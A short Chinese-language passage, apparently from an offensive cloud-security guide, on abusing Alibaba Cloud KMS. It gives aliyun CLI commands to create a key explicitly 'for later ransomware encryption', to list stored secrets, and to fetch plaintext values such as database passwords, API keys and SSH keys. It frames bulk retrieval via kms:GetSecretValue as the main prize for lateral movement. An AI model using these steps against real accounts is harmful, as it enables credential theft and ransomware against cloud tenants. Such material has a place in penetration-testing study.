# 常见别名:
# alias/oss-encryption → OSS 加密密钥
# alias/rds-encryption → RDS 加密密钥
# alias/ecs-disk → ECS 云盘加密密钥
# 创建新密钥(用于后续加密勒索)
aliyun kms CreateKey --Description "backup-encryption" \
--KeyUsage ENCRYPT_DECRYPTSecret 管理
阿里云 KMS 同时提供 Secrets Manager 功能(凭据管家),用于存储和管理应用凭据:
# 列出所有凭据
aliyun kms ListSecrets
# 返回 SecretName 列表
# 获取凭据值
aliyun kms GetSecretValue --SecretName SECRET_NAME
# 直接返回明文凭据值
# 常见的凭据名称:
# db-password, api-key, ssh-private-key, oss-access-key
# 这些凭据可直接用于访问对应服务关键判断: 凭据管家(Secrets Manager)是凭据的集中存储点。一旦拥有 kms:GetSecretValue 权限,可以批量获取所有存储的凭据——数据库密码、API Key、SSH 密钥等。这通常是横向移动的最大收益点。